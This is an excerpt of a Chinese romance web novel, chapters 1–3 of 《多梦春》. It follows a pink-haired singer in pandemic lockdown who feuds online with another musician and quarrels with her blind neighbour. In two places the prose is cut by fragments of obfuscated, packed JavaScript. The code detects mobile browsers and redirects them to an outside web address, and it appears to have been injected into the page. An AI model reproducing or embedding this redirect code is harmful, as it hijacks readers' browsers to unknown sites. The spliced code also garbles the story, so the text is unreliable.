《多梦春》 1. 文学城独家 宋呓欢即将迎来她的二十大寿。 可惜的是,她的大寿只能居家中度过。一周前,宋呓欢所在小区出现一例,整个小区都被封锁隔离。 这也间接导致她的唯二两件生日礼物都出了岔子。 第一件生日礼物是室友果果送的,目前滞留在快递集散中心,得等她们解封再拿。 但她已经知道礼物是什么,是个不易见光的粉色硅胶制品。 另一件生日礼物正在电话里骂她。 “我再问你一次,你出不出来?”王亚帅异常愤怒。 “说了八百次,出不来。” “宋呓欢,你耍你爹呢??”王亚帅吼得跟要从电话里爬出来似的。 “快别咒自己,我初二那年我爸就走了。”宋呓欢一撩额角明艳的粉色碎发,淡定地说。 王亚帅被她气得不轻,嗓门高一度:“老子坐了十五小时火车!换特么乘三趟,你现在跟我说你出不来了???” 宋呓欢翘着二郎腿,依然不说人话:“老子不还是爹的意思吗?快呸呸。” 王亚帅的声音被电波扯得变形,喷火龙似的:“宋呓欢!!你要死啊!我最后给你一次机会,今晚八点西街速8酒店,你最好准时出现!!” 宋呓欢也被他嚷得火大,啪地挂断电话。 电话刚挂,王亚帅就给她发了许多条微信,点进去一看,全是支付截图。 【房费一天105,现在退不了,算上我往返路费打车费加起来932,你赶紧转我。】 宋呓欢本来不想理他,可他好死不死又发来一条转发消息。 那是他们三周前的聊天记录,他合并起来转发给她。宋呓欢完全记得自己当时跟他都聊了些什么,但还是点进去。 W:【真不想见我吗?我票都买咯!】 白日梦:【好吧我摊牌,我想见你。】 接下来是王亚帅发的好几张截图,当时发的倒不是支付截图,而是订好的车票、酒店等等,都没截到金额。 白日梦:【啊!!!我有点紧张。】 W:【我也紧张,上次见面还是五年前初中毕业典礼,我们都还是小屁孩呢。】 白日梦:【那这次见面成年了,能先亲吗?】 W:【这么聊?你都给我整不会了。】 配上脸红表情。 话是说得纯情,但他车票买的是晚七点到火车站,约的是晚八点速8酒店。 王亚帅是她初中班草,她暗恋的第一个人。 她给自己选的生日礼物,是跟初恋见面、约会、聊天,顺利的话,做/爱。 不知是不是因为她头一次约人,不够娴熟,没能条分缕析地给他写个步骤一二三,他才自然地跳过前三步,直奔主题去了。 居家给了她体面的拒绝理由,可这人还硬是赶过来找她,这会儿人已经在高铁上了。 宋呓欢看完他转发的聊天记录,退出去才看到他又发了一句:【你发完骚就不管了是吧?贱不贱啊。】 她其实不想再理他来着,可骚、贱二字太过刺眼。纵使她再怎么脸皮厚,再怎么不在意别人眼光,也能被这两个字扇个正着,脸上火辣辣地烫。 W:【今晚八点,你不来就把钱转我!】 接着发来个收款码。 白日梦:【转完了。】 W:【哪转了??】 白日梦:【耍你呢。】 W:【宋呓欢你要死啊!!今晚八点你必须出现!!】 宋呓欢冷笑一声,飞快打字,一条接一条:【今晚八点是吧?】 【没问题。】 【你就当我死了,出现不了但我可以出殡。晚八点你床边必有个女鬼,我就算去不了也派别人找你去。】 发完,她将人电话微信企鹅号全拉黑。 室友果果探头进来,“呓欢,我们半小时后下楼!” 被她一叫,宋呓欢才回过神来,“哦哦,知道啦。” “你怎么啦?”果果走进来,“谁给你打电话?嗓门那么大,我在门口都听见了。” “亚丑。”她皱眉,“聊的时候得体温柔,怎么一聊到…聊到那个就跟原始人似的,脱的到底是衣服还是人皮?” “不是那个,是性。”果果摸摸她的头,毫不留情地嘲笑她,“还说要睡个帅哥呢,你怎么连这个字都不好意思说?” 宋呓欢在这件事上也很矛盾,一方面想吃点好的,一方面觉着不好意思。 但总归还是想吃点好的。 “半小时后下楼啊,别忘了。”果果关门出去。 没等她缓口气,又收到条私信,还是小熊:【梦梦,我真不知道该怎么办了,我爸妈电话都被打爆,我现在都不敢出门。】 宋呓欢主业是某站的唱见,IP叫“我不说梦话”,小熊是她众多粉丝之一。 她的粉丝最近在跟另一位UP主的粉丝撕逼大战,小熊就是被这场撕逼大战波及,个人信息被挂得全网都是。 小熊给她发来一张截图,未接来电99+。 【我现在都没办法开机,骚扰电话根本不停。】 宋呓欢赶紧给小熊吃定心丸:【我来解决。】 她先在粉丝群里挂公告,提醒大家别再吵架,先去举报那些爆小熊个人信息的帖子。 接着,她联系某站的运营,请她帮忙找平台删帖。 做完这些,才又收到小熊的消息:【梦梦,你真要硬刚对面蒸煮吗?余烬粉丝量级比你大,要么别找他了吧,信息删掉就行了。】 余烬就是撕逼大战的另一方,也是个音乐UP主,主要是发些原创作编曲的视频。 这人脑子有大病。 宋呓欢回:【你都被扒成这样了你还担心我?自己永远排第一,排在偶像前面,好吗妹妹!】 【知道了,梦梦。】 余烬脑子有病,且病得不轻。 撕逼大战就是余烬挑起来的。 她某次分享动态,随手拍午餐照,右下角不小心拍到半幅谱。那是她扒下来改过谱,练琴用的。 余烬的粉丝眼尖,认出她扒谱的是他的作品,纷纷在宋呓欢的动态下圈余烬,配文:烬子实火,遍地结果。 本来是挺好的联动机会,宋呓欢主动给他发私信致歉,也提出要不要合作。 谁知余烬这王八蛋压根没回,跟吃了枪药似的,没理会粉丝的热心,单独发条动态。 没指名没道姓,但就是挂她。 余烬将那半幅图里她改动过的音阶圈出来,配文:别圈我了,我写不出这么不合乐理的玩意儿。 宋呓欢非常有路人缘,开朗活泼,粉毛圆脸,像块香香软软的小蛋糕,何时受过这种委屈? 余烬此话一出,宋呓欢的粉丝集体炸毛,以小熊为首,纷纷去他评论区冲锋陷阵。 唯爱梦梦:【我们梦梦招你惹你了,就疯狗似的咬上来。】 AAA龍:【爷真是笑了。再怎么不入流,也好歹是个唱见,不懂改谱是多冒犯的行为?粉随蒸煮啊,蒸煮花上雕屎,粉丝满嘴喷粪啊。】 唯爱梦梦:【你们才是粉随蒸煮,蒸煮恶臭没礼貌,一个两个都腌入味了!】 ...... 吵来吵去,二次战火蔓延至三次,余烬的粉丝开盒她粉丝小熊,小熊的信息被挂的全网都是,骚扰电话不间断地打过来。 闹成这样,余烬反倒没什么动静,不知道躲在哪装死。 宋呓欢打开大眼软件,选择大号“我不说梦话”,开始激情编辑微博。 @余烬 一事起一是毕,我们两个的事,我们自己解决,别影响粉丝的三次现生。 也请你管好你自己的破粉丝,要开盒有本事来开我,欺负小妹妹算怎么回事? 道歉也好,对骂也罢,我们来,别躲在粉丝后面装聋作哑。 微博很快编辑好,她毫不犹豫地发出去。 “呓欢!!叫我们下楼啦!!”室友果果隔着门,嗷一嗓子。 光顾着写微博,都忘记这回事了,宋呓欢连忙起身,将骂战搁在一边,喊:“啊啊啊啊啊等我等我,我得换衣服啊啊啊!” 果果推开门,笑她:“你戴上口罩帽子,穿恶心点没关系。” 正值南方早春,宋呓欢下身七彩毛毛袜裹着灰色秋裤,上身姹紫嫣红套头波点家居服,配上凌乱的粉毛,这身任谁看,都得叹一句恶心。 “不行不行不行!给我三分钟!这点自我修养,我还是得有!”她说。 果果笑她:“一日小偶像,终身都敬业啊你。” 宋呓欢说话算话,三分钟后,她已经像个人样地跟果果一起等电梯。 “哎。”果果凑到她耳边,“快看隔壁那对帅Gay!” 她们住五楼,一梯两户,隔壁住着两个男人,一位高高帅帅,一位矮矮帅帅。 宋呓欢小声喟叹:“真的有点帅。” “太可惜了,要不是gay,你也不用舍近求远。”果果坏笑着凑过来,“就近应睡尽睡。” 宋呓欢手忙脚乱地捂她嘴。 倒不是她俩腐眼看人基,主要是这两个人肢体动作实在透着某种亲密。 矮帅那位回身关门,走进电梯厅,而高帅那位戴着细框浅色墨镜,手搭在他肩上,跟他并肩走。 高帅那位碎发很长,有几根垂下来,落到墨镜里,几乎挡眼睛。墨镜口罩都遮不住他优越的五官,还平添些生人勿近的气息。 进电梯后,宋呓欢和果果挤在后方角落,正大光明地偷看。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223483|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她比个拇指,果果口型跟她说磕到了。 下午三点,正是太阳毒辣的时候,人群挺默契地背对太阳站着,像漫山遍野的向日葵,长反了那种。 宋呓欢和果果站在队伍中间,只恨自己没想起来拿伞。 “嗯?他不晒吗?”宋呓欢偷偷指指面前高帅那位,小声嘀咕。 他是众多向日葵中唯一面朝太阳的那株,黑发泛起光泽。 果果双手呈帽沿状,挡着脸咬牙:“把这些晒不黑的人都拉出去斩立绝!” 很快排到他们,高帅哥的胳膊依然搭在矮帅哥的胳膊上,贴得挺近,全然不顾周遭姑娘们瞪得快掉出来的眼珠子。 风一吹,啪嗒一声,某个小薄片掉在她们面前。 是一张身份证。 宋呓欢好奇地看过去,接着低低吸口气。看起来是那位高帅哥露全脸的证件照,露额头的造型。好看得非常具体,立体锐利。 “那个......你身份证掉了。”宋呓欢弯腰歪头去读上面的字,“迟,迟燃!” 迟燃没回头,动都没动,跟喊的不是他似的。 反倒是矮帅哥回头捡起来,挺开朗地回头冲她们一笑:“谢谢啊。” 迟燃的胳膊在他蹲下时短暂地离开他肩膀,在他站直后又搭回去,依然没回头。 宋呓欢:“不客气,邻居嘛。” 一年来首次对话的邻居一号,和一年来都没对上目光的邻居二号。 矮帅哥回头讲话的时候,迟燃依然面朝前方,唯有手臂搭在他肩膀上,手肘几乎戳着他脖颈。 矮帅哥好脾气地笑:“对哦,我们是对门邻居。你俩是志愿者吧?谢谢你们帮忙拿拼团的东西。” 果果也礼貌回:“不客气。” 直到对话终止,那个叫迟燃的都没回头,更没给她们半个眼神或是表情。 宋呓欢眯眼盯着他被碎发覆盖的后脑勺,撇撇嘴角。 关上家门,果果嗷地大吼:“我恨呐!!!!帅哥为什么都喜欢帅哥啊啊啊!!!” 宋呓欢回忆片刻,也跟着吼:“我恨啊!!帅哥为什么都这么高冷!!这么没礼貌!!” 俩人边喷酒精,边叠声笑起来。 “我团了蔬菜大礼包,今晚开盲盒。”果果说,“冰箱里还有肉吗?我好馋肉。” 宋呓欢笑:“还有半斤猪里脊,今晚烧一半?” “啊!!呓欢小厨娘我爱你啊啊啊啊!”果果拽着她晃来晃去,“电瓶车钥匙呢?我拿菜去,我们这栋一共五份,我得用车。” 宋呓欢将钥匙丢给她:“拿不动吧,我陪你去?” “算了吧,本来车就小,你还要占地方。”果果毫不客气地回绝,戴上头盔出发。 等果果走人,宋呓欢回到电脑前刷动态,半小时过去,没人回复。 余烬最后上线时间恰好是半小时前,不知是恰好没看到,还是看到了但懒得回。 她退出页面,打开某个捞鱼打怪的单机游戏,刚点开始,就听到游戏配乐中混着熟悉的钢琴曲。 隔壁某位帅哥邻居又开始了? 她关掉游戏,屏息去听,钢琴曲缓缓流淌。 窗外日光正盛,透过窗子照进来,能看见细小的、缓缓流动的尘埃。早春的树还没长出叶子,但一眼望去,棕褐的枝干点缀寸寸绿意。 曲调有生命般地跃上枝桠,和光同尘,自由也坚韧。 是Icarus。 这是首很费手的钢琴曲,但演奏那位技法纯熟,游刃有余,给这首本就自由的歌平添一种随性,那种活到哪算哪的随性。 她闭眼听了半天才冲到厨房最佳欣赏位,想起来掏出手机给果果发消息:【厨房音乐会又开始啦,速归!】 然而没等果果回复,隔壁的音乐就停下。 叮咚。 卧室电脑响了一声,是动态回复的提示音。 提示音比早八的闹钟还讨厌。 耀眼的日光瞬间变成酣睡时忽然打开的白炽灯,细微的尘埃变成迎风啃到的一嘴尘土,外面的树枝都张牙舞爪起来。 宋呓欢笑意瞬间消失,手指掰得咔咔作响,攥着拳头,迈着愤怒杰瑞的脚步奔回卧室。 她噼里啪啦地输入开机密码,手指灵活有力,键盘不堪重负地脆响。 余烬果然回复了她的动态,还拆开回了好几条,这简直比回一条长篇大论的回怼更让人生气。 这样显得他轻蔑,不重视。 宋呓欢咬牙切齿地攥着拳头。 余烬连回三条: 【装聋作哑?道歉?】 【你通篇共计八十三个字,我通读全篇,就没找见“对不起”三个字。】 【我哪是装聋作哑啊,我可能是瞎了。】 2. 第 2 章 钱宇眼见着迟燃合上琴盖,从敲琴键变为敲键盘。 前者是享受,后者纯噪音。 他深受其害。 迟燃那作孽的键盘一共108个键帽,键帽下是108种不同的键轴,也就是108种不同的声音。 讲道理,每种按下去的声音都挺好听,有踩雪、麻将、段落嘀嗒等等。但是108种不同的动静装在同个键盘里,随机组合起来,就只剩吵和烦。 杀伤力不亚于将梁山一百单八将关在同个笼子里嚎,闹得人脑仁疼。 钱宇拍拍他肩,拍完才捂耳讨饶:“燃哥,不是,我燃爹,快收了神通吧。您要骂谁,我给您打字,行吗?” 他爹没理,转向他,食指碰碰嘴唇,让他噤声。 钱宇只好闭嘴安静。 等房间安静下来,迟燃又开始噼里啪啦地打字,速度不快,但也没比正常人慢多少。 他打字的姿势很新颖,既不看屏幕也不看键盘,只是微微侧头,凝神听着键轴的声音。 打完第一行,他按下快捷键朗读。 无机质的女声自电脑传来:“装聋作哑?道歉?” 他按下回车,发送。 接着,迟燃开始打第二句,没按几下,他就停顿片刻。 错了,S是茶轴,但刚刚响起的是快银轴的声音,应该是不小心按到D了。 他右手食指摸到键盘边缘,顺着轮廓向上,摸到回删键连按三次,接着双手分别找到FJ键,继续敲。 打完最后一行,无机质女声读:“我哪是装聋作哑啊,我可能是瞎了。” 钱宇看他这样就想叹气,他皱眉问:“你这是跟人对喷呢?” 还是陈述客观事实呢。 迟燃往后一靠:“自我介绍呢。” 机械键盘的声音终于停止,钱宇感觉自己好像聋了,他说:“五十块就能买一副盲文键帽。” 迟燃不紧不慢地站起身,很没礼貌地手肘撑着他头走过去,在床上坐下。 “嗯。”他懒散地靠在床头,“十五块就能买两副增高鞋垫。” “跟我说就算了,你以后出门还是少说话。”钱宇咬牙道。 “为什么?关爱老弱病残孕,最近把残踢出去了?” 钱宇点头:“嗯,我怕你连几个人揍你都看不见。” “靠声音数呗,揍我还能不出声儿吗。” 两年前迟燃出事,那之后,他一直是这幅死样子。 自怨自艾算不上,脱敏疗法更不是,视障辅助器材一件不买,地狱笑话倒是一个不落,说不清他是看开了还是看不开。 钱宇没跟他一般见识,说:“我去洗个澡,等会给你做晚饭。晚上多吃点,你再瘦颖姐该扣我工资了。” 迟燃皱皱眉,表情管理失败。 “嘶,我做饭也没那么难吃吧?”钱宇不满。 迟燃食指在床头无意识地敲着:“我下次见她前一晚上含半勺盐,水肿显胖比较快。” 钱宇嘴巴张开又闭上,最终说:“我洗澡去,你安分待着。” 迟燃脸色明显一僵,但什么都没说。 “放心,我在团购菜的群里说了,菜放门口,你不用开门。” “嗯,谢了。” 虽然钱宇这个助理的厨艺令人发指,但总体来说,迟燃还是挺信得过他,很多事都交给他代劳。出事后,他很抗拒与人接触,尤其是开门拿东西这种急匆匆的事儿。 他既讨厌对方不耐烦地嫌他慢,又讨厌对方发现他瞎,刻意迁就,怎么着都难受。 咚咚咚。 正想着,门被很大声地敲响,从频率音量来看,门外那位大约敲了有一会儿了,有些不耐烦。 钱宇洗澡,他戴着头戴式耳机,估计都没听见。 迟燃靠着床头柜装死。 谁知门外的动静不依不饶,越敲越用力。 钱宇一时半会儿也出不来,他长叹一口气,摸到桌上的墨镜戴好,快步往门口挪。 门口敲得急,他走得也急,腿好几次撞到转角。 他边开门边咬牙揉腿,心情差到顶点,门只开一道缝,脸藏在门口,手平伸出去,示意对面将东西递给他。 门外的果果仰头看着高于她头顶的手,满脑子问号,但还是负责地开口:“跟你说一下,你们这份的番茄送来的时候就是烂的,我取货之前拍照了,你们找.....” 哒。 头顶那只手打个响指,打断她的话,又伸平。 果果一愣。 迟燃忘摘耳机,没听到什么声音,只觉得门外那位送菜小哥动作格外慢。他不想跟外面的人面对面,更不想说话,就这么催促。 愣完,果果还是好脾气地将菜拎起来,说:“你手低一点,我...” 哒。 又一个响指。 哒,哒,哒。 连着三下。 果果瞬间说不出话,喉咙哽住。 宋呓欢对着那三句回复,将满头粉毛抓成梅超风的样子,愣是没打出一个字。 她的意思,是让余烬代替他那开盒的缺德粉丝道歉,可余烬话里话外都是要她道歉。 不管她怎么回,都输人一头。 她思考片刻,点进余烬的某站主页,寻找突破口,攻击他最薄弱的地方。 他的主页很简单,从一年半以前开始更新,基本都是些不露脸的原创音乐视频。 他的手修长白皙,手指灵活自如,出镜的乐器从钢琴到吉他再到小提琴,公平点讲,他每样都玩得很好。 果然,女娲给他捏了惊为天人的音乐天赋,就势必会给他捏点神憎鬼厌的缺点。 比如史诗级别网络臭嘴,比如难看到无法出镜的丑脸。 他一年半以来,只发过两条动态。除了阴阳她那条,还有一条动态,也是怼人的。 有个UP主将他的作品重新编曲,改编成偏Jazz的风格。 他直接艾特那个UP,配文:有我授权吗?那么爱改,改你家族谱,迁你家祖坟去。 她遍寻弱点无果,只得到两个结论。 余烬嘴是真臭,也是真讨厌人家改他谱。 门咚咚咚响几声,打断思绪。 她一开门,就看到果果眼眶通红,嘴巴撇着。 她在房间里憋了半小时都没想到回怼的话,本来就烦,看着果果通红的眼眶,更是瞬间上头。 “这是怎么了!有人欺负你?”她将手里抱枕飞到沙发上,大有立马去寻仇的架势。 果果抽抽嗒嗒地将事情讲一遍。 “没礼貌没品,刚刚排队的时候我就看他很不顺眼,果然不是什么好东西。后来呢?东西丢他脸上没?”宋呓欢问。 果果立马哭得更厉害了,抽抽噎噎道:“不仅没丢,我,我还把八斤重的菜举过头顶......递给他了......” 果果越想越委屈,“我真窝囊啊……” 宋呓欢赶紧给她擦眼泪。 等人不哭了,她将纸巾蹂躏拍扁,往垃圾桶里一丢。 “等着!我算账去。” 春日人本就浮躁,再加上从网络到现实,忽然冒出来这么多孽障。她今天已经生第三场气,已经气得很娴熟。 她气势汹汹地冲到对面门前,掌心侧面狠狠砸在门上,大有将门拆下来的架势。 谁知敲了半天,门内不仅没人开门,连点脚步声都没有。 宋呓欢干脆核心用力,加大力道,不给门内那对欺软怕硬的无礼男半点转圜余地。 约莫半分钟,门才缓缓开条缝。 她歪头看进去,奈何门缝太小,看不见半个人。 迟燃本不想给她开门,总归不是火烧眉毛的大事,他想熬到钱宇洗完澡出来再说。 可门外这位砸门力道忒大,短短半分钟,门口响起唰啦啦的细碎声响,约莫是墙皮墙灰掉下来的动静。 再不开门,门估计就没了。 迟燃将门推开一条缝,一束窄光自走廊打进玄关,以他聊胜于无的视力,隐约能感受到窄光朦胧的轮廓。 他严丝合缝地站在窄光边缘和门槛夹角的黑暗里,手臂扶在把手上,藏在门内,不肯踏出安全区半步。 他摘掉耳机,对着门缝问:“有事?” 宋呓欢见不到人,火燃得更旺:“刚刚我室友给你送菜,你凭什么侮辱她?你什么态度啊?她好心好意,你不说谢谢就算了,连半句人话没有。 你还打响指?你知不知道打响指很不尊重人?你还故意把手伸那么高,让她举起来递给你???” 她开口后,迟燃才意识到门外是个姑娘,接着反应过来,刚才那位外卖小哥估计也是个姑娘,就是她口中的室友。 他想说点什么,但门外那位嘴巴没停,她提口气继续说:“我就没见过好心帮忙还得练举重的,你赶紧出来道歉。她原不原谅你另说,你得道歉!” “你室友多高啊?” 门缝里终于飘出来一句人话,他声音很干很哑,跟很久没大声说话似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223484|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宋呓欢不爽:“关你什么事啊?” 门缝里伸出一截手臂,手背刚好在她头顶往上。 迟燃懒懒道:“我手伸平就这个高度。” 宋呓欢抬头看看他手,觉得自己和果果一样被身高羞辱了。 没礼貌的东西。 “说过放门口不要敲门,她硬是敲个没完。”他继续说,“你们能做室友,是因为都特热爱敲门吗?” 这是人话? 宋呓欢触目所及,仅有门板、半截手臂和最多手掌那么宽的门缝。无法进行正常人类的对等交流,她仅剩的理智轰的一声炸成烟花。 她双手扣住门板,用力一扯,硬生生将虚掩的门拉开。 “你懂什么叫志愿者吗?志愿者的意思就是哪怕你是个脑残她也愿意为你服务,她不欠你的!团购菜有问题她找你沟通,没毛病吧?只是敲你门,又不是敲你门牙!” 门内的男生显然没想到她会突然发难,手还握在门把手上,便被她大力带出,趔趄着摔出来。 他摔出来的姿势很怪异,手肘条件反射似的护住头,接着跟个不倒翁似的摇摇摆摆,脚踩不实。 防盗门撞在墙上,他扶着门才站稳。 宋呓欢这时才近距离看清他的脸。 他皮肤偏白,下颌线条清晰凌厉,是很有攻击性的长相。尽管看不清神情,但总觉得他透着傲慢和冷淡。 之所以说看不清神情,是因为他跟下午排队时一样,依然带着墨镜。 呵,室内戴墨镜,哪来的超大号垃圾袋,装货。 迟燃很久没有独自踏出家门,他站在走廊,四周空落落的带着风,旁边窗户的亮光晃进他眼睛,他一时有些懵。 “道歉!我说道歉你听不懂吗?”宋呓欢继续说,“除非你又聋又哑,否则,你今天必须给我上门道歉!” 粉。 这是迟燃宕机大脑中弹出的第一个念头。 他顺着声音望去,于刺目光晕正中,隐约看到一团朦胧的粉。 是那种柔和浅淡但又很明确的粉,轮廓模糊,微微摆动。 怎么说呢,有点眼熟,像哈利波特里那种叫蒲绒绒的生物。 不过,显然没有蒲绒绒那么无害温顺。 “跟你说话呢!聋了吗?”她声调升高,音色还挺清澈,又清澈又吵。 宋呓欢眼见着他笑起来,跟听到什么大笑话似的。 不理解这个颓废吸血鬼忽然在那开朗个什么劲。 她皱眉:“笑什么?” 一步,两步。 迟燃循着声音的方向迈步,站定,弯腰。 宋呓欢权当他在侮辱她的身高,扬声质问:“怎么?个子高就可以目中无人吗?” 迟燃又笑一声。 “不聋,不哑。”迟燃语气里带着挑衅的笑意,“但我确实目中无人。” 他缓缓摘下墨镜,微微偏头,露出一双并不聚焦的眼睛。 “个子高不能目中无人,但瞎能。” 宋呓欢轻轻抽气。 满脑子烟花散去,只剩遍地碎纸硝烟,兑水和成满脑子浆糊。 她反应显然大大取悦了他,他又笑一声,再次偏头,催促:“说话啊。” 宋呓欢正对那双无神又漂亮的眼睛,无可避免地注意到,他右眼下有个很狰狞的疤,刚好被墨镜深色区挡住。 她觉得自己不该直勾勾地盯着看,赶紧看向旁边回避视线。 尽管这礼貌行为,他根本无从得知。 “听着呢,说,要我干什么?”他不依不饶。 宋呓欢嚣张的气焰彻底不见,满脑子搜刮半天,没憋出半句话。 “说话啊!”他催促。 说点什么? 做点什么? 说点什么? 宋呓欢的大脑好像宕机的电脑,怎么都不肯运转。 能说什么,都这样了还能说什么? 说什么说什么说什么说什么… “那什么,我不会手语。”她挤出一句。 话一出口,俩人都愣住。 完。 她闭着眼睛死死咬住自己的嘴唇,唯一庆幸的是,他看不见她这幅囧样。 迟燃喉咙里挤出声冷笑,往前探身,又凑近她半寸。 宋呓欢越站越直。 他垂着眼,视线落在她鼻尖往下一点,接着,挑挑眉。 “你倒是说话啊。” “比划手语呢?” 小。粉。 3. 第 3 章 凌晨三点,宋呓欢腾地从床上弹起来。 “不是,他有病吧!”她大力揉搓怀里的丑鱼抱枕,将丑鱼的脸打瘪下去,委屈巴巴的鱼脸显得越发丑陋,“怎么会有这种人啊?” 视障人士不都应该温柔敏感吗?哪有嘴这么毒,还热衷看人笑话的视障人士? 宋呓欢狠狠拍自己脑门:“不对啊不对啊,禁止刻板印象!” 回想自己“不会手语”、“目中无人”、“你聋了吗”等出格发言,她愤怒的小火苗闪烁几下,灭了。 她用丑鱼垫着,用头一下接一下的撞墙,敲木鱼似的念:“我真该死啊!我真该死啊!我真该死啊…” 没撞几下,她又一个鲤鱼打挺,“不是,他有病吧!什么叫伸平就这个高度?什么叫热爱敲门???” 第二天早上,钱宇来敲门的时候,宋呓欢顶着两个黑眼圈爬起来。 果果已经站在门边上,给她口型:“是那个矮帅哥。” 宋呓欢也跟她口型交流:“怎么说?” “不原谅。”果果眼睛还肿着,“我嘴笨,你来?” 宋呓欢点头叉腰开门,一气呵成。 门一推开,她迎上钱宇的目光。 他笑得一丝不苟,标准的八颗牙微笑。 “有事?”她一扬下巴。 “我来替迟燃道歉。”钱宇九十度鞠躬,“对不起!他真不是东西,惹你们生气,还给你们添麻烦,对不起!” 宋呓欢气不打一出来:“凭什么他做错事,你道歉啊?” 钱宇直接说:“他一个月给我开两万。” 宋呓欢:…… 城里人花样真多啊。 果果躲在一边听着,没说话,看样子气还没消。 “你俩之间什么……交易,我管不着。”宋呓欢说,“我室友好心做志愿者,你…室友,这么羞辱她,这事怎么也说不过去!道歉是最基本的诚意。” 钱宇没细想“交易”和“室友”这俩词的含义,挺为难地说:“倒不是替他卖惨,他出事之后,眼睛有问题,挺久没跟人社交,有时候说话办事确实带刺。这事,你们生气合情合理。但我吧,真没法让他给你们道歉…” 闻言,宋呓欢沉默片刻。 关爱视障人士的公德心短暂苏醒,她突然有点不好意思继续计较。再加上她昨晚敲门说那几句话,都挺缺德。 这么想着,她没立马发难,而是看向果果。 她说话缺德是她不对,但被羞辱的人是果果。原不原谅他,应该由果果自己决定,而不是由她代劳。 果果也有些犹豫。 钱宇将手里塑料袋往前一递,说:“这个给你们,赔罪!” 宋呓欢没接,“这是?” 他说:“我刚才看到你们在群里问,有没有肉类拼团,这里有两斤琵琶腿、一斤羊排、还有……” 宋呓欢余光瞥见果果站直了,连脖子都伸长。 宋呓欢眨巴眨巴眼睛。 话说到这份上,怎么能自然地…… 果果头又往前探一些,恨不能直接伸出来,伸到塑料袋里。再不说话,果果就要忍不住伸手接过来了。 “那个…”宋呓欢提口气,“话又说回来,毕竟是邻居。” 果果无奈地给她比个拇指,口型道:一点不生硬。 钱宇很上道地将塑料袋送到她手上说:“真不好意思。” “那你们吃什么?”得手后,宋呓欢良心短暂上线。 “我做出来的东西燃哥不怎么吃。家里东西消耗太慢,冰箱还满着呢。”钱宇挺不好意思地说。 事真多。 宋呓欢暗自腹诽,嘴上敷衍:“挺好,你俩也算患难与共,感情也更上一层楼了吧?” 钱宇认同:“确实。” “我们冰箱真快空了,谢谢你的补给。”她说,“你俩这样还挺甜的。” “不是,等会?甜?甜什么?谁跟谁甜?什么叫甜??”钱宇这才听明白,眼珠子都快瞪出来,“不是不是不是不是…!我不是,他也不是,我俩更不是!我是他助理,真助理,正经助理!” 宋呓欢一愣,接着尬笑两声:“真不是啊?我之前看他出门总搭着你肩膀…” “不!是!…那是他不方便,但又不乐意拿拐杖。”钱宇崩溃道,“不是吧?看起来那么诡异吗??我只是带他走路啊!” “哦,起到一个导盲…人的作用。”她悬崖勒马。 差点顺嘴,一骂骂俩。 “那姑娘的嘴跟你相比,也不遑多让。”钱宇边拿筷子边吐槽,“燃哥,外面的世界很危险,你下回还是等我开门吧。” 迟燃没吭声,接过筷子,左手扶住盘子,用筷子戳两下盘里的内容。 “土豆炒鸡,这俩东西就不可能难吃。”钱宇盛饭递给他,“求燃哥赏脸多吃两口,我得跟颖姐交差,你再瘦颖姐得把我炖了,给你补身体。” 迟燃没说话,筷子从盘子里夹起某个东西,凑在脸前分辨半天,难以捉摸,问:“这是?” “土豆,你尝尝!”钱宇卖力推销。 迟燃手伸平,筷子一松,土豆落在桌上。 啪嗒,一声脆响。 “熟土豆不是这动静。”迟燃捏着筷子点评。 “你少胡扯,我煮半小时呢。”钱宇又夹起一块,放到他筷子上,“显然糯的,你试试!” 迟燃犹豫片刻,还是张嘴咬下。 咔哧,一声脆响。 连钱宇都听得一清二楚。 迟燃扭头将嘴里那半口吐出去,撂下筷子。 “嘶。”钱宇自己夹了块土豆,飞快嚼了嚼,“哎,这块熟了!可能那两块没加热到,来来我给你挑。” 迟燃听着碗里有两声闷响,但他没动筷。 钱宇也没好意思再劝他开土豆盲盒,而是千挑万选,找了块漂亮的鸡腿肉,“那要不吃块鸡?” 迟燃垂眸挑眉,默许钱宇给他夹了块鸡。 他小心翼翼地用犬牙撕下小块肉。 调味不好吃,但能吃。 真不容易。 迟燃松口气,大口咬下去,筷子用力,没扯动。他放下筷子用手捏着骨头,再一扽,依然扽没动。 几秒钟后,他品品嘴里的生鸡腥味,全吐回去。 “下回你先尝。”他摸到水杯漱漱口,彻底放弃,扔下筷子起身走人。 “没熟?”钱宇茫然。 “哪能啊,抓紧拼起来,没准还能飞。” 迟燃拿着从厨房顺来的黄瓜猛啃几口,才勉强将嘴里那股生鸡味压下去。 他坐在钢琴前,手搭在琴盖上摸了半天都没动,半个音阶都没弹。 没什么心情。 他恶狠狠地啃着黄瓜。 莫名有些恼火。 倒不是气钱宇,钱宇烧饭这么多天,没烧厨房就算有功当赏。 比起钱宇,他更气这个现状。 这种要咀嚼好几次,才能识别出生肉的现状。 这种恼火挺熟悉,两年前刚瞎的时候,他每天都很恼火。每件熟悉的事都有陌生的体验,无措又无力。 跟今天吃生肉的时候差不多。 他坐在琴凳前,脑子里乱七八糟,怎么也回忆不起来能看见的时候是怎么吃饭,又是怎么拿外卖的。 只有失明后的记忆,一遍一遍循环播放。 厨房的方向忽然传来音乐声,打断他的思绪。他没关门,很元气的前奏清晰地飘进来,非常抓人。 “什么歌?”他朝着门口问。 正问着,前奏结束进入主歌,那女声刚唱两个字,他就觉得耳熟。 可没等他反应过来,歌已经停下。 钱宇人还在厨房,扯着脖子问:“说啥?没听见!” 